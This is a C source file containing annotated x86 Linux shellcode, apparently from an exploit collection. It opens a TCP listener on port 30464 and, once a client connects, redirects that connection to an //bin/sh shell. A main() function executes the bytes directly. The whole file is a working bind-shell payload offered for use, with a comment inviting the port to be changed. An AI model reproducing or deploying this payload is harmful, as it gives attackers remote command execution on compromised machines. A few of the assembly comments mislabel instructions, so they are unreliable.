/*
        LINUX SHELLCODE 
        156 byte shellcode that binds /bin/sh on port 30464.
        By R00T-dude 
*/      

char shellcode[] = 
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                  // xorl    %eax,%eax
"\x31\xdb"                  // xorl    %ebx,%ebx
"\x31\xc9"                  // xorl    %ecx,%ecx
"\x31\xd2"                  // xorl    %edx,%edx
"\xb0\x66"                  // movb    $0x66,%al
"\xb3\x01"                  // movb    $0x1,%bl
"\x51"                    // pushl   %ecx
"\xb1\x06"                  // movb    $0x6,%cl
"\x51"                     // pushl   %ecx
"\xb1\x01"                  // movb    $0x1,%cl
"\x51"                     // pushl   %ecx
"\xb1\x02"                  // movb    $0x2,%cl
"\x51"                     // pushl   %ecx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\xcd\x80"                  // int     $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                 // movb    $0x2,%bl
"\xb1\x02"                  // movb    $0x2,%cl
"\x31\xc9"                  // xorl    %ecx,%ecx
"\x51"                     // pushl   %ecx
"\x51"                     // pushl   %ecx
"\x51"                     // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"               // addb    $0x77,%cl
"\x66\x51"                  // pushl   %cx
"\xb1\x02"                  // movb    $0x2,%cl
"\x66\x51"                  // pushw   %cx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\xb2\x10"                  // movb    $0x10,%dl
"\x52"                     // pushl   %edx
"\x51"                     // pushl   %ecx
"\x50"                     // pushl   %eax
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x89\xc2"                  // movl    %eax,%edx
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x66"                  // movb    $0x66,%al
"\xcd\x80"                  // int     $0x80

/* listen(fd, 1) */
"\xb3\x01"                  // movb    $0x1,%bl
"\x53"                     // pushl   %ebx
"\x52"                     // pushl   %edx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x66"                  // movb    $0x66,%al
"\x80\xc3\x03"               // addb    $0x3,%bl
"\xcd\x80"                  // int     $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                  // xorl    %eax,%eax
"\x50"                     // pushl   %eax
"\x50"                     // pushl   %eax
"\x52"                     // pushl   %edx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\xb3\x05"                  // movl    $0x5,%bl
"\xb0\x66"                  // movl    $0x66,%al
"\xcd\x80"                  // int     $0x80

/* dup2(cli, 0) */
"\x89\xc3"                  // movl    %eax,%ebx
"\x31\xc9"                  // xorl    %ecx,%ecx
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x3f"                  // movb    $0x3f,%al
"\xcd\x80"                  // int     $0x80

/* dup2(cli, 1) */
"\x41"                     // inc     %ecx
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x3f"                  // movl    $0x3f,%al
"\xcd\x80"                  // int     $0x80

/* dup2(cli, 2) */
"\x41"                     // inc     %ecx
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x3f"                  // movb    $0x3f,%al
"\xcd\x80"                  // int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                  // xorl    %ebx,%ebx
"\x53"                     // pushl   %ebx
"\x68\x6e\x2f\x73\x68"         // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"         // pushl   $0x69622f2f
"\x89\xe3"                  // movl    %esp,%ebx
"\x8d\x54\x24\x08"            // leal    0x8(%esp),%edx
"\x31\xc9"                  // xorl    %ecx,%ecx
"\x51"                     // pushl   %ecx
"\x53"                     // pushl   %ebx
"\x8d\x0c\x24"               // leal    (%esp),%ecx
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x0b"                  // movb    $0xb,%al
"\xcd\x80"                  // int     $0x80

/* exit(%ebx) */
"\x31\xc0"                  // xorl    %eax,%eax
"\xb0\x01"                  // movb    $0x1,%al
"\xcd\x80";                  // int     $0x80

int main(void)
{
  void (*funct)();
  (long) funct = &shellcode; 
  funct(); 
}